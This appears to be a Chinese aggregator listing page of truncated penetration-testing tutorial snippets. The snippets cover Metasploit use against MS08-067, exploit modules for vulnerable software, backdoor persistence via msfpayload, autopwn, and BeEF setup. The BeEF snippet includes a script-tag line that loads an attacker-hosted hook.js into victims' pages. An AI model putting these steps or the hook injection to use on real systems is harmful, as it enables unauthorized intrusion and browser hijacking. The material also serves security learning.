1、 进入终端，开启MSF相关服务2、 连接数据库3、 主机扫描发现如果有MS08_067漏洞，就可以继续渗透4、 开始溢出溢出成功的话sessions -l 查看存在的会话session -i 1 连接会话1shell 进入cmdshell参考文档：http://www.kissthink.com...
分类：
其他好文 时间：
2015-04-18 16:05:20
阅读次数：
212
存在漏洞的一些小软件，适合测试和演示用。附上漏洞小软件和msf利用模块。这些漏洞都在winXPsp3上面测试通过的。1、Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer OverflowCVE-2011-2140漏洞模块：exploi...
分类：
其他好文 时间：
2015-04-17 13:50:11
阅读次数：
288
1、前期--情景就是当我们获得webshell时，我们想留下我们的后门，这个时候我们可以用到msfpayload与msfconsole结合使用启动PostgreSQL服务：service postgresql start启动metasploit服务：service metasploit start启...
分类：
系统相关 时间：
2015-04-14 19:34:02
阅读次数：
389
又开始看《Metasploit渗透测试魔鬼训练营》这本书了。看到Web应用程序渗透测试这一章，其中有一部分是关于自己编写Metasploit的Exploit和Payload。我也正准备依葫芦画瓢。事先没有搭建Metasploit的开发环境，虽然我有Ruby的环境用于学习Ruby语言的相关开发知识，但...
分类：
Web程序 时间：
2015-04-05 21:56:15
阅读次数：
276
网上关于CentOS系统下安装Metasploit的教程一堆有一堆，我这里也没有什么新意，完全就是一步一步的走一遍，算是做个笔记，往后备查。 首先，我的系统是CentOS 6.4_x64版本。更新一下系统，如果系统比较老，这个时间可能会比较长，命令如下： yum update
yum upgrade...
分类：
Web程序 时间：
2015-04-04 14:50:45
阅读次数：
142
本文介绍的autopwn是kali中自带的那个autopwn，不是相对于bt5被删除的那个autopwn.1.打开msfconsole, 找出autopwn目录及使用msf > search autopwnMatching Modules================ Name ...
分类：
编程语言 时间：
2015-03-29 14:52:46
阅读次数：
194
For a security research, we need to put metasploit-framework on the remote machine. OS Details:[centos@localhost centos]$ uname -a
Linux localhost.localdomain 2.6.32-042stab104.1 #1 SMP Thu Jan 29 12:...
分类：
Web程序 时间：
2015-03-29 10:50:38
阅读次数：
209
kali 网络服务策略使得其没有自动启动的网络服务，包括数据库服务，而metasploit需要数据库服务的支持，所以开启数据库服务的自动启动msf > db_status[*] postgresql selected, no connection简单开启服务：service postgresql s...
分类：
数据库 时间：
2015-03-28 20:17:49
阅读次数：
289
Kalilinux系统默认未安装beef，需要自行安装12apt-getupdateapt-getinstallbeef-xss启动/usr/share/beef-xss12cd/usr/share/beef-xss./beef账号密码127.0.0.1：3000/ui/pannelbeef/beef嵌入代码<scriptsrc="Ip:3000/hook.js">与Metasploit联动Beef配置文件/usr/share/bee..
分类：
其他好文 时间：
2015-03-18 06:43:32
阅读次数：
692
Kalilinux系统默认未安装beef，需要自行安装12apt-getupdateapt-getinstallbeef-xss启动/usr/share/beef-xss12cd/usr/share/beef-xss./beef账号密码127.0.0.1：3000/ui/pannelbeef/beef嵌入代码<scriptsrc="Ip:3000/hook.js">与Metasploit联动Beef配置文件/usr/share/bee..
分类：
其他好文 时间：
2015-03-18 06:42:11
阅读次数：
187
